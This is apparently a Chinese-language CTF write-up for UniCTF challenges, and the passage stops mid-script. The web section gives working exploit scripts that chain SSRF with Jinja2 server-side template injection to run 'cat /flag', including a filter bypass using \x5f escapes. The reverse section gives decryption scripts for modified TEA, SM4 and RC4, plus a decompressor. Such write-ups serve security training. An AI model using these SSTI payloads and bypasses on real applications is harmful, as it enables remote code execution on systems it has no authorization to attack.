这表明存在 服务端模板注入 (SSTI) 漏洞。由于应用似乎是基于 Python的,Jinja2 是可能的模板引擎。为了利用 SSTI,需要向 WebSocket 服务发送消息。然而,/fetch 端点主要用于 HTTP GET 请求。可以发现:

  1. /fetch 端点接受 POST 请求。

  2. POST 请求的 Body 会被转发到目标 URL。

  3. 即使目标是 WebSocket URL (ws://),发送 POST 请求也允许我们将数据注入到连接初始化或处理过程中,从而有效地将我们的 Payload 传递给服务。

  4. 通过 SSRF 请求 http://127.0.0.1:8001/redirect_ws 以获取有效 Token。

  5. 创建一个 Jinja2 Payload 以执行系统命令 (RCE)。

    Payload: {{ self.__init__.__globals__.__builtins__.__import__('os').popen('cat /flag').read() }}

  6. 发送利用请求:

    • 目标 URL: ws://127.0.0.1:9000/ws?token=<TOKEN>
    • 方法: POST 请求 /fetch
    • Headers: X-Internal-Token: <TOKEN>, Origin: http://127.0.0.1
    • Body: {"action": "render", "template": "<PAYLOAD>"}

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
import requests
import json
import urllib.parse

base_url = "http://80-058a2b53-7ab0-498e-86cd-c2d35855fc81.challenge.ctfplus.cn/fetch"

def get_token():
try:
response = requests.get(base_url, params={'url': 'http://127.0.0.1:8001/redirect_ws'})
json_resp = response.json()
history = json_resp.get('history', [])
if history:
loc = history[0].get('location', '')
parsed = urllib.parse.urlparse(loc)
params = urllib.parse.parse_qs(parsed.query)
return params.get('token', [''])[0]
except:
return None

def exploit():
token = get_token()
if not token:
print("[-] Failed to get token")
return

print(f"[+] Got Token: {token}")

target_url = f"ws://127.0.0.1:9000/ws?token={token}"

headers = {
"X-Internal-Token": token,
"Origin": "http://127.0.0.1"
}

# Jinja2 RCE Payload 读取 flag
ssti_payload = "{{ self.__init__.__globals__.__builtins__.__import__('os').popen('cat /flag').read() }}"

ws_payload = {
"action": "render",
"template": ssti_payload
}

print(f"[*] Sending SSTI payload via POST to /fetch...")
try:
response = requests.post(
base_url,
params={'url': target_url},
headers=headers,
json=ws_payload
)

try:
json_resp = response.json()
result = json.loads(json_resp.get('response', '{}')).get('result')
print(f"[+] Flag: {result}")
except:
print(f"[-] Failed to parse response: {response.text}")

except Exception as e:
print(f"[-] Error: {e}")

if __name__ == "__main__":
exploit()

运行利用脚本获取到 Flag:

1
UniCTF{1ae194c2-322a-4513-a264-f2adeae33584}

GlyphWeaver

通过查看页面源代码或测试输入,我们发现该应用使用 Jinja2 模板引擎(Python)。
尝试在输入字段中输入 {{ 7*7 }},发现服务器返回了错误 Unsafe template pattern detected,表明存在针对 SSTI 的过滤器。

unictf26.png

经过测试,我们发现以下关键字和字符被过滤器拦截:

  • __class__, __init__, __globals__, __subclasses__ 等双下划线属性。

然而,我们发现可以通过以下方式绕过过滤器:

  1. Unicode 转义: 使用 Python 的 Unicode 转义序列(如 \x5f 代表 _)来构造被拦截的属性名。

    • 例如:['\x5f\x5finit\x5f\x5f'] 等同于 ['__init__']
  2. 利用 lipsum 对象: lipsum 是 Jinja2 的内置函数,通过它可以访问全局命名空间,从而避免复杂的类继承链遍历。

    • Payload: lipsum['__globals__']['os'] 可以直接访问 os 模块。
  3. 利用步骤

  4. 构造 Payload:

    • 目标是执行系统命令 cat /flag
    • 利用 lipsum 获取全局变量中的 os 模块。
    • 使用 popen 执行命令并读取输出。
    • 为了绕过关键字过滤,将属性名中的下划线替换为 \x5f

    绕过 Payload:

    1
    {{ lipsum['\x5f\x5fglobals\x5f\x5f']['os']['popen']('cat /flag')['read']() }}
  5. 发送请求:

    • 将构造好的 Payload 放入 JSON 数据的 motto 字段中。
    • 发送 POST 请求到 /api/export
    • 获取 taskId 后轮询 /api/task/<taskId> 获取结果。

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
import requests
import time
import json

base_url = "http://5000-f7ecba6c-9ce8-4fb4-8321-72f84af5360c.challenge.ctfplus.cn/api/export"

def bypass_payload(payload):
# 将 {} 替换为 Unicode 编码以绕过简单检测
new_payload = ""
for char in payload:
if char == '{':
new_payload += "\\uff5b"
elif char == '}':
new_payload += "\\uff5d"
else:
new_payload += char
return new_payload

def exploit():
# 原始命令
cmd = "cat /flag"

# 构造 SSTI Payload
# 使用 lipsum 访问 globals,使用 \x5f 绕过下划线过滤
payload_content = f"lipsum['\\x5f\\x5fglobals\\x5f\\x5f']['os']['popen']('{cmd}')['read']()"

# 包装在 {{ }} 中
full_payload = f"{{{{ {payload_content} }}}}"

# 转换 Payload
final_payload = bypass_payload(full_payload)

print(f"[*] Sending Payload: {full_payload}")

data = {
"template_id": "classic",
"display_name": "Hacker",
"title": "CTF Player",
"motto": final_payload,
"footer": "Pwned"
}

try:
resp = requests.post(base_url, json=data)
if "error" in resp.text:
print(f"[-] Blocked: {resp.text}")
return

task_id = resp.json().get("taskId")
if task_id:
print(f"[+] Task ID: {task_id}")
for i in range(5):
time.sleep(1)
r = requests.get(f"http://5000-f7ecba6c-9ce8-4fb4-8321-72f84af5360c.challenge.ctfplus.cn/api/task/{task_id}")
if "html" in r.text:
html = r.json().get("html", "")
# 提取输出
start_marker = 'data-motto="'
start = html.find(start_marker)
if start != -1:
start += len(start_marker)
end = html.find('"', start)
print(f"[+] Flag Output: {html[start:end]}")
break
except Exception as e:
print(f"[-] Exception: {e}")

if __name__ == "__main__":
exploit()

运行脚本可以获取 Flag:

1
UniCTF{e2ea38f5-d7f4-4195-8f13-e3fcc421f6cd}

Reverse

c_polynomial

用ida打开

unictf27.png

可以得到程序的代码和控制流,主要分为以下几个部分:多项式输入部分:用户输入 9 个整数作为多项式的系数。条件检查部分:程序检查输入的多项式在某些点上的值是否为零。此外,还需要检查系数是否满足特定条件,

unictf28.png

coeffs[7] == -606,coeffs[6] == 44114,多项式的最高次系数必须为 1,计算 flag: 根据满足条件的系数,程序会拼接 flag 的字节,并通过 XOR 操作加密生成 flag。

根据以上分析,可以知道需要找出一组满足条件的系数并计算 flag:

  1. 输入 9 个整数,作为多项式的系数:

    我们已知 coeffs[7] == -606和 coeffs[6] == 44114,因此需要进一步推导出其他系数。

  2. 构造满足条件的多项式:

    根据程序的检查条件和特定点的要求,得出输入的系数应该是:

    1
    -1150729056 1913427864 -1417349260 -195296614 -37214631 1704556 44114 -606 1
  3. 计算并输出 flag:

    在满足上述条件后,程序会根据系数拼接成字节数据并进行 XOR 操作,得到最终的 flag。

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import struct

# 输入的多项式系数
coeffs_input = [-1150729056, 1913427864, -1417349260, -195296614, -37214631, 1704556, 44114, -606, 1]

# 将多项式系数转换为字节
b = bytearray()
for i in range(4):
b += struct.pack("<i", coeffs_input[i]) # 前4个系数为32位整数
for i in range(4, 9):
b += struct.pack("<H", coeffs_input[i] & 0xffff) # 后5个系数低16位(无符号)

# 打印字节数组长度和内容的十六进制表示
print(len(b), b.hex())

xorcode = b'\xd5*\x00\xd8\xec\xf1wCM\xc5\xbc\x9c\xab:e\xd9k\x1f]:a\x9b\x9b\xcc9-\xcb*\x1a\xda\xfc\xf6e\x1c\x03\x96\xef\x86\xe9k=\x907Q\x03c6\xc5\xc3\x8ef}'

# 构建并重复字节数据
buf = bytes(b) * 2

# 进行 XOR 运算
flag_bytes = bytes([buf[i] ^ xorcode[i] for i in range(52)])

# 打印生成的 flag 字节并解码为字符串
print(flag_bytes)
print(flag_bytes.decode('latin1'))

unictf29.png

所以flag为:

1
unictf{19287189-291837918-knsadainwak-siadnwoadiasg}

Strange_Py

题目给了两个文件:encrypt.exe和flag.enc,先对encrypt.exe做一下基础信息查看

1
2
file encrypt.exe
strings encrypt.exe | grep -i pyinstaller | head

unictf30.png

解包

1
python3 pyinstxtractor.py encrypt.exe

解包后会得到 _internal/ 目录、以及一堆条目,通过分析可以知道本题的关键模块是 tea,以及一个Windows C扩展 Eencrypt.cp39-win_amd64.pyd。接着分析 tea 模块,还原加密流程,从 tea 模块中可以还原出核心函数 encoded(data):

  1. data = refill(data):补齐到 8 字节对齐
  2. 把 data转成 list
  3. 生成16 字节 key
  4. 以 8 字节为一组处理明文,每组做:
    • 生成 8 字节 rand
    • text = xor(plain8, rand8):注意这里的 xor 返回的是十六进制字符串
    • enc = [int(text前半,16), int(text后半,16)]:得到两个 32bit 整数
    • 做 50 轮“魔改 TEA”加密
    • 把结果转回 8 字节密文
    • 输出块格式[8字节密文] + [8字节rand]
  5. 最后调用encryption(bt, k):把 key 以及额外尾巴拼到最终输出

关键常量:

  • cs = 50
  • delta = 0x12345678
  • mask = 0xffffffff
  • sum每轮是sum = sum - delta

每轮更新公式:

  • v0更新项:

    1
    v0 += ( (sum + v1) ^ (key1 + (v1 >> 5)) ^ (key0 + (v1 << 4)) )
  • v1更新项:

    1
    v1 += ( (sum + v0) ^ (key3 - (v0 >> 5)) ^ (key2 + (v0 << 4)) )

其中第二条里是 key3 - (v0 >> 5),不是标准 TEA 的 +,接着观察 flag.enc的长度特征:

  • 除去末尾,会呈现 16 字节对齐的块结构
  • 实际上是:
1
2
3
4
flag.enc =
[ (8字节cipher + 8字节rand) * n ]
+ [ 16字节key ]
+ [ 13字节尾巴 ]

也就是说:

  • 最后 13 字节是固定尾巴
  • 再往前 16 字节是 key
  • 剩下部分每 16 字节一组:前 8 是 TEA 密文,后 8 是 rand

解密思路:每个 16 字节块:

  1. cipher8rand8
  2. cipher8 做 TEA 逆变换(注意:
    • 两个 32bit 按 big-endian 解释
    • sum 初值应为 (-delta * rounds) & 0xffffffff
    • 逆向时要先还原 v1 再还原 v0(因为加密时 v1 用了更新后的 v0)
  3. 得到 8 字节 xor_bytes
  4. plain8 = xor_bytes XOR rand8

拼起来就得到完整明文文件。

  • big-endianint(hex,16) 的方式决定了按大端拆 4 字节
  • 轮数 50
  • delta 0x12345678
  • v1 公式里有 key3 - (v0 >> 5)(魔改点)
  • 文件末尾 13 字节尾巴要丢掉

解出明文后你会拿到一个 Windows PE。

objdump 看它的 main,会看到非常直白的一段逻辑:

  • SetConsoleOutputCP(65001)
  • puts("记得第一个Hello, World!吗")
  • printf("printf(\"")
  • .data 拷贝一段 0x100 字节到栈上(这段正好是 32 个指针)
  • 循环 32 次:
    • 每次取一个指针(指向 .rdata 的字符串,如 "0x55"
    • strtol(ptr, 0, 16) 转成数值
    • putchar((char)val) 输出一个字符
  • 最后 puts("\")")

也就是说:flag 并不是明文字符串,而是以 "0x??" 的形式拆散存放,然后运行时输出

最终的exp脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Strange_Py - solve script

用法:
python3 solve_strange_py.py flag.enc

效果:
1) 解密 flag.enc 得到第二阶段 PE(默认写出 decrypted_flag.exe)
2) 静态解析 PE 中的 0x?? 字符表,直接输出 flag
"""
import struct
import sys
from pathlib import Path

MASK = 0xFFFFFFFF
DELTA = 0x12345678
ROUNDS = 50

def parse_pe_sections(pe_bytes: bytes):
e_lfanew = struct.unpack_from("<I", pe_bytes, 0x3C)[0]
if pe_bytes[e_lfanew:e_lfanew+4] != b"PE\x00\x00":
raise ValueError("not a PE file")
file_header_off = e_lfanew + 4
machine, nsec, ts, pts, nos, opt_size, ch = struct.unpack_from("<HHIIIHH", pe_bytes, file_header_off)
opt_off = file_header_off + 20
magic = struct.unpack_from("<H", pe_bytes, opt_off)[0]
if magic != 0x20B:
raise ValueError("only PE32+ supported in this script")
image_base = struct.unpack_from("<Q", pe_bytes, opt_off + 24)[0]
sec_off = opt_off + opt_size
sections = []
for i in range(nsec):
off = sec_off + i * 40
name = pe_bytes[off:off+8].rstrip(b"\x00").decode("ascii", "replace")
vsize, vaddr, raw_size, raw_ptr = struct.unpack_from("<IIII", pe_bytes, off + 8)
sections.append({
"name": name,
"vsize": vsize,
"vaddr": vaddr,
"raw_size": raw_size,
"raw_ptr": raw_ptr,
})
return image_base, sections

def va_to_offset(va: int, image_base: int, sections):
rva = va - image_base
for s in sections:
start = s["vaddr"]
end = start + max(s["raw_size"], s["vsize"])
if start <= rva < end:
return s["raw_ptr"] + (rva - start)
return None

def read_cstring(buf: bytes, off: int, max_len: int = 64) -> bytes:
end = buf.find(b"\x00", off, off + max_len)
if end == -1:
end = off + max_len
return buf[off:end]

def key_words_from_bytes(k_bytes: bytes):
# tea.py 里是 int(hex,16) 的方式拆 4 字节,所以这里按 big-endian
return [int.from_bytes(k_bytes[i:i+4], "big") for i in range(0, 16, 4)]

def dec_block(cipher8: bytes, rand8: bytes, key_words):
v0 = int.from_bytes(cipher8[:4], "big")
v1 = int.from_bytes(cipher8[4:], "big")
k0, k1, k2, k3 = key_words
s = (-DELTA * ROUNDS) & MASK
for _ in range(ROUNDS):
# 逆向:先还原 v1,再还原 v0
t1 = ((s + v0) & MASK) ^ ((k3 - (v0 >> 5)) & MASK) ^ ((k2 + ((v0 << 4) & MASK)) & MASK)
v1 = (v1 - t1) & MASK
t0 = ((s + v1) & MASK) ^ ((k1 + (v1 >> 5)) & MASK) ^ ((k0 + ((v1 << 4) & MASK)) & MASK)
v0 = (v0 - t0) & MASK
s = (s + DELTA) & MASK
x = v0.to_bytes(4, "big") + v1.to_bytes(4, "big")
return bytes([x[i] ^ rand8[i] for i in range(8)])

def decrypt_flag_enc(enc: bytes) -> bytes:
# flag.enc 结构:
# [ (8字节密文 + 8字节rand) * n ] + [16字节key] + [13字节尾巴]
core = enc[:-13]
k_bytes = core[-16:]
bt = core[:-16]
key_words = key_words_from_bytes(k_bytes)

out = bytearray()
for i in range(0, len(bt), 16):
cipher8 = bt[i:i+8]
rand8 = bt[i+8:i+16]
out.extend(dec_block(cipher8, rand8, key_words))
return bytes(out)

def extract_flag_from_decrypted_exe(pe: bytes) -> str:
image_base, secs = parse_pe_sections(pe)

# main 里 memcpy 的源地址是 0x403020(即 .data + 0x20)
# 里面是 32 个 QWORD 指针 -> 指向 .rdata 的 "0x??" 字符串
ptr_array_va = image_base + 0x3020
ptr_array_off = va_to_offset(ptr_array_va, image_base, secs)
ptrs = list(struct.unpack_from("<32Q", pe, ptr_array_off))

vals = []
for p in ptrs:
off = va_to_offset(p, image_base, secs)
s = read_cstring(pe, off, 32).decode("ascii")
vals.append(int(s, 16))
return bytes(vals).decode("ascii")

def main():
if len(sys.argv) < 2:
print("Usage: python3 solve_strange_py.py flag.enc")
sys.exit(1)

enc_path = Path(sys.argv[1])
enc = enc_path.read_bytes()

pe = decrypt_flag_enc(enc)
out_exe = Path("decrypted_flag.exe")
out_exe.write_bytes(pe)

flag = extract_flag_from_decrypted_exe(pe)
print(flag)

if __name__ == "__main__":
main()

unictf31.png

所以flag为:

1
Unictf{W0OL!!!_Y0uh@Ve_fOuNd_mE}

c_sm4

程序里用的 key是:0123456789abcdeffedcba9876543210

但它的 FK 被改了:不是标准 SM4 的 FK,而是把 4 个 FK 分别 +1、+2、+3、+4 再参与 key schedule。

模式是 SM4-ECB + PKCS7 padding

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
ct = bytes.fromhex("c434bcf4a2c02599a062479de42af62cf57640548bf2cb64a0e7a08e132b7b91")
key = bytes.fromhex("0123456789abcdeffedcba9876543210")

FK = [0xa3b1bac6, 0x56aa3350, 0x677d9197, 0xb27022dc]
FK = [(FK[i] + (i+1)) & 0xffffffff for i in range(4)] # 关键:+1 +2 +3 +4
CK = [
0x00070e15,0x1c232a31,0x383f464d,0x545b6269,0x70777e85,0x8c939aa1,0xa8afb6bd,0xc4cbd2d9,
0xe0e7eef5,0xfc030a11,0x181f262d,0x343b4249,0x50575e65,0x6c737a81,0x888f969d,0xa4abb2b9,
0xc0c7ced5,0xdce3eaf1,0xf8ff060d,0x141b2229,0x30373e45,0x4c535a61,0x686f767d,0x848b9299,
0xa0a7aeb5,0xbcc3cad1,0xd8dfe6ed,0xf4fb0209,0x10171e25,0x2c333a41,0x484f565d,0x646b7279
]
SBOX = [
0xd6,0x90,0xe9,0xfe,0xcc,0xe1,0x3d,0xb7,0x16,0xb6,0x14,0xc2,0x28,0xfb,0x2c,0x05,
0x2b,0x67,0x9a,0x76,0x2a,0xbe,0x04,0xc3,0xaa,0x44,0x13,0x26,0x49,0x86,0x06,0x99,
0x9c,0x42,0x50,0xf4,0x91,0xef,0x98,0x7a,0x33,0x54,0x0b,0x43,0xed,0xcf,0xac,0x62,
0xe4,0xb3,0x1c,0xa9,0xc9,0x08,0xe8,0x95,0x80,0xdf,0x94,0xfa,0x75,0x8f,0x3f,0xa6,
0x47,0x07,0xa7,0xfc,0xf3,0x73,0x17,0xba,0x83,0x59,0x3c,0x19,0xe6,0x85,0x4f,0xa8,
0x68,0x6b,0x81,0xb2,0x71,0x64,0xda,0x8b,0xf8,0xeb,0x0f,0x4b,0x70,0x56,0x9d,0x35,
0x1e,0x24,0x0e,0x5e,0x63,0x58,0xd1,0xa2,0x25,0x22,0x7c,0x3b,0x01,0x21,0x78,0x87,
0xd4,0x00,0x46,0x57,0x9f,0xd3,0x27,0x52,0x4c,0x36,0x02,0xe7,0xa0,0xc4,0xc8,0x9e,
0xea,0xbf,0x8a,0xd2,0x40,0xc7,0x38,0xb5,0xa3,0xf7,0xf2,0xce,0xf9,0x61,0x15,0xa1,
0xe0,0xae,0x5d,0xa4,0x9b,0x34,0x1a,0x55,0xad,0x93,0x32,0x30,0xf5,0x8c,0xb1,0xe3,
0x1d,0xf6,0xe2,0x2e,0x82,0x66,0xca,0x60,0xc0,0x29,0x23,0xab,0x0d,0x53,0x4e,0x6f,
0xd5,0xdb,0x37,0x45,0xde,0xfd,0x8e,0x2f,0x03,0xff,0x6a,0x72,0x6d,0x6c,0x5b,0x51,
0x8d,0x1b,0xaf,0x92,0xbb,0xdd,0xbc,0x7f,0x11,0xd9,0x5c,0x41,0x1f,0x10,0x5a,0xd8,
0x0a,0xc1,0x31,0x88,0xa5,0xcd,0x7b,0xbd,0x2d,0x74,0xd0,0x12,0xb8,0xe5,0xb4,0xb0,
0x89,0x69,0x97,0x4a,0x0c,0x96,0x77,0x7e,0x65,0xb9,0xf1,0x09,0xc5,0x6e,0xc6,0x84,
0x18,0xf0,0x7d,0xec,0x3a,0xdc,0x4d,0x20,0x79,0xee,0x5f,0x3e,0xd7,0xcb,0x39,0x48
]

def rotl(x,n): return ((x<<n)&0xffffffff) | (x>>(32-n))
def tau(a):
return ((SBOX[(a>>24)&255]<<24)|(SBOX[(a>>16)&255]<<16)|
(SBOX[(a>>8)&255]<<8)|(SBOX[a&255]))
def L(b): return b ^ rotl(b,2) ^ rotl(b,10) ^ rotl(b,18) ^ rotl(b,24)
def Lp(b): return b ^ rotl(b,13) ^ rotl(b,23)
def T(x): return L(tau(x))
def Tp(x): return Lp(tau(x))

def ks(key):
MK=[int.from_bytes(key[i*4:(i+1)*4],'big') for i in range(4)]
K=[(MK[i]^FK[i])&0xffffffff for i in range(4)]
rk=[]
for i in range(32):
x = K[i+1]^K[i+2]^K[i+3]^CK[i]
K.append((K[i]^Tp(x))&0xffffffff)
rk.append(K[-1])
return rk

def crypt_block(block, rk):
X=[int.from_bytes(block[i*4:(i+1)*4],'big') for i in range(4)]
for i in range(32):
X.append((X[i]^T(X[i+1]^X[i+2]^X[i+3]^rk[i]))&0xffffffff)
out=[X[35],X[34],X[33],X[32]]
return b''.join(w.to_bytes(4,'big') for w in out)

rk = ks(key)
rk = rk[::-1] # decrypt
pt = crypt_block(ct[:16], rk) + crypt_block(ct[16:], rk)
pt = pt[:-pt[-1]] # PKCS7 unpad
print(pt.decode())

输出就是:unictf{sm4ezze44ms}

原神!启动!

下载/解压 Il2CppDumper 后执行:

1
Il2CppDumper\Il2CppDumper.exe GameAssembly.dll GenshinImpactWishSimulator_Data\il2cpp_data\Metadata\global-metadata.dat

产出文件(默认在 Il2CppDumper/ 目录):

  • dump.cs(类/字段/方法签名)
  • stringliteral.json(字符串字面量)
  • script.json(地址到函数名映射)

dump.cs 中搜索目标类:

1
class GachaManager

可见关键方法:

1
2
3
4
5
6
OnPullClicked RVA 0x4489F0
ShowResult RVA 0x448D50
DoGachaLogic RVA 0x448660
DecryptAES RVA 0x4481E0
GenerateKey RVA 0x448800
GenerateIV RVA 0x4486D0

静态反汇编(如 objdump)观察 ShowResult

  • 先显示抽卡结果图片
  • 通过 DoGachaLogic(或等效内联逻辑)得到本次抽卡的 sprite
  • 比较是否等于 zhongliSprite
    • 不等:调用 DecryptAES(0x3E7)(无用分支)
    • 相等:调用 DecryptAES(0x89),并弹窗

因此真实解密参数为:

1
magicKey = 0x89

DecryptAES / GenerateKey / GenerateIV 的调用关系可以确定:

  • 密文来自 TextAsset encryptedFlagAsset(字段名)
  • AES 模式:CBC
  • Key/IV 均由 MD5(salt + magicKey.ToString()) 生成

stringliteral.json 中能找到 2 个盐值:

1
2
GachaSalt_Never_Gonna_Give_You_Up
ZhongLi_Come_In_And11_

推导公式:

1
2
key = MD5( "GachaSalt_Never_Gonna_Give_You_Up" + magicKey )
iv = MD5( "ZhongLi_Come_In_And11_" + magicKey )

TextAsset 在资源包中,名字为 flag_data
使用 UnityPy 读取:

1
python -m pip install UnityPy --trusted-host pypi.org --trusted-host files.pythonhosted.org --trusted-host pypi.python.org

提取脚本:

1
2
3
4
5
6
7
8
9
10
import UnityPy

env = UnityPy.load("GenshinImpactWishSimulator_Data/sharedassets0.assets")
for obj in env.objects:
if obj.type.name == "TextAsset":
data = obj.read()
if data.m_Name == "flag_data":
# 注意:UnityPy 这里会返回带 surrogate 的字符串
raw = data.m_Script.encode("utf-8", "surrogateescape")
print(raw.hex())

得到密文(32 字节):

1
c375868faffe7fab6c6e04a923c4eaafde52d4ad9a7d3099f1058606a7bfe8bd

最终exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import hashlib
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad

magic = 0x89
salt_key = "GachaSalt_Never_Gonna_Give_You_Up"
salt_iv = "ZhongLi_Come_In_And11_"

key = hashlib.md5((salt_key + str(magic)).encode()).digest()
iv = hashlib.md5((salt_iv + str(magic)).encode()).digest()

ciphertext = bytes.fromhex("c375868faffe7fab6c6e04a923c4eaafde52d4ad9a7d3099f1058606a7bfe8bd")

cipher = AES.new(key, AES.MODE_CBC, iv)
pt = unpad(cipher.decrypt(ciphertext), 16)
print(pt.decode())

所以flag为:

1
UniCTF{St@rt_G3n541n_Impact!}

r_png

附件里有两个文件:enc:ELF 可执行文件,flagpngenc:被加密后的数据。因为 PNG 有固定文件头:

1
89 50 4E 47 0D 0A 1A 0A

所以可以爆破密钥:尝试不同 key 解密前 8~16 字节,只要能还原 PNG 头就命中。从 enc 里能看出是 RC4 的 KSA/PRGA 结构,但每个 keystream 字节会先做一次变换:

  • 正常 RC4:cipher[i] = plain[i] XOR K[i]
  • 本题:cipher[i] = plain[i] XOR ((K[i] + 0x45) & 0xff)

key 是 4 位数字(0000~9999),很适合直接爆破。

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
#!/usr/bin/env python3
# -*- coding: utf-8 -*-

from pathlib import Path

PNG_SIG = b"\x89PNG\r\n\x1a\n"

def rc4_keystream(key: bytes, n: int) -> bytes:
# RC4 KSA
S = list(range(256))
j = 0
for i in range(256):
j = (j + S[i] + key[i % len(key)]) & 0xFF
S[i], S[j] = S[j], S[i]

# RC4 PRGA
i = 0
j = 0
out = bytearray()
for _ in range(n):
i = (i + 1) & 0xFF
j = (j + S[i]) & 0xFF
S[i], S[j] = S[j], S[i]
K = S[(S[i] + S[j]) & 0xFF]
out.append(K)

return bytes(out)

def decrypt_variant(cipher: bytes, key: bytes) -> bytes:
ks = rc4_keystream(key, len(cipher))
plain = bytearray(len(cipher))
for idx, (c, k) in enumerate(zip(cipher, ks)):
plain[idx] = c ^ ((k + 0x45) & 0xFF) # 魔改点:keystream + 0x45
return bytes(plain)

def main():
cipher = Path("flagpngenc").read_bytes()

found_key = None
for k in range(10000):
key = f"{k:04d}".encode()
head = decrypt_variant(cipher[:16], key)
if head.startswith(PNG_SIG):
found_key = key
print("[+] key found:", key.decode())
break

if not found_key:
print("[-] key not found")
return

plain = decrypt_variant(cipher, found_key)
Path("flag.png").write_bytes(plain)
print("[+] decrypted png saved as flag.png")

if __name__ == "__main__":
main()

运行后你会得到 flag.png,打开图片即可看到:

unictf32.png

  • 图片上写着:unictf 325799799302
1
unictf{325799799302}

r_zip

附件里:

  • compress:ELF 程序,strings 一下会看到用法类似:
    • compress <input> <output>
    • 说明它是压缩器
  • out1.z:压缩后的结果

既然给了压缩器和压缩后的文件,典型要求就是你逆出压缩格式并写解压。对 compress 做黑盒测试,可以推到规律:

  • 若字节 < 0x80:表示原样字面量,直接输出该字节
  • 若字节 >= 0x80:表示回溯拷贝 token,并且 token 固定 2 字节:

设 token 两字节为 b1 b2

  • offset = ((b1 & 0x7F) << 4) | (b2 >> 4)
  • length = (b2 & 0x0F)
  • 然后执行:
    • 从输出缓冲区末尾往回 offset 个字节处开始拷贝 length 个字节

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
#!/usr/bin/env python3
# -*- coding: utf-8 -*-

from pathlib import Path

def decompress(data: bytes) -> bytes:
out = bytearray()
i = 0
while i < len(data):
b1 = data[i]
i += 1

# literal
if b1 < 0x80:
out.append(b1)
continue

# backref token (2 bytes)
if i >= len(data):
raise ValueError("truncated token")
b2 = data[i]
i += 1

offset = ((b1 & 0x7F) << 4) | (b2 >> 4)
length = (b2 & 0x0F)

if offset == 0 or length == 0:
raise ValueError(f"invalid token offset={offset}, length={length}")

start = len(out) - offset
if start < 0:
raise ValueError("bad offset")

for _ in range(length):
out.append(out[start])
start += 1

return bytes(out)

def main():
z = Path("out1.z").read_bytes()
plain = decompress(z)

Path("out1_decompressed.txt").write_bytes(plain)
print("[+] decompressed saved as out1_decompressed.txt")

# 直接打印前几行提示你打开看
print("\n--- preview ---")
try:
print(plain.decode("utf-8", errors="ignore").splitlines()[0])
except Exception:
pass

if __name__ == "__main__":
main()

运行后得到 out1_decompressed.txt

unictf33.png

所以flag为:

1
unictf{miaoyunmengzip}

catPwd

Android 上 Unity 的 PlayerPrefs 常见位置:

  • /data/data/<package>/shared_prefs/<package>.v2.playerprefs.xml

所以第一步:从 APK 的 AndroidManifest.xml解析出 <manifest package="...">

解析 AXML 拿 package 的 Python

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
import struct, io, zipfile

def parse_string_pool(f, chunk_start, chunk_size):
# chunk header(8) 已经读过了,这里从 stringCount 开始读
string_count = struct.unpack("<I", f.read(4))[0]
style_count = struct.unpack("<I", f.read(4))[0]
flags = struct.unpack("<I", f.read(4))[0]
strings_start= struct.unpack("<I", f.read(4))[0]
styles_start = struct.unpack("<I", f.read(4))[0]

offsets = [struct.unpack("<I", f.read(4))[0] for _ in range(string_count)]
is_utf8 = (flags & 0x00000100) != 0

strings = []
for off in offsets:
f.seek(chunk_start + strings_start + off)
if is_utf8:
def read_len():
b = f.read(1)[0]
if b & 0x80:
b2 = f.read(1)[0]
return ((b & 0x7f) << 7) | (b2 & 0x7f)
return b
_utf16_len = read_len()
utf8_len = read_len()
s = f.read(utf8_len).decode("utf-8", "ignore")
else:
u16 = struct.unpack("<H", f.read(2))[0]
if u16 & 0x8000:
u16_2 = struct.unpack("<H", f.read(2))[0]
strlen = ((u16 & 0x7fff) << 16) | u16_2
else:
strlen = u16
s = f.read(strlen * 2).decode("utf-16le", "ignore")
strings.append(s)
f.seek(chunk_start + chunk_size)
return strings

def parse_axml_package(axml_bytes: bytes) -> str:
f = io.BytesIO(axml_bytes)
xml_type, xml_hdr, xml_size = struct.unpack("<HHI", f.read(8))

strings = None
while f.tell() < xml_size:
chunk_start = f.tell()
ctype, chdr, csize = struct.unpack("<HHI", f.read(8))

if ctype == 0x0001: # STRING_POOL
strings = parse_string_pool(f, chunk_start, csize)
elif ctype == 0x0102: # START_ELEMENT
lineNumber, comment = struct.unpack("<II", f.read(8))
ns, name = struct.unpack("<II", f.read(8))
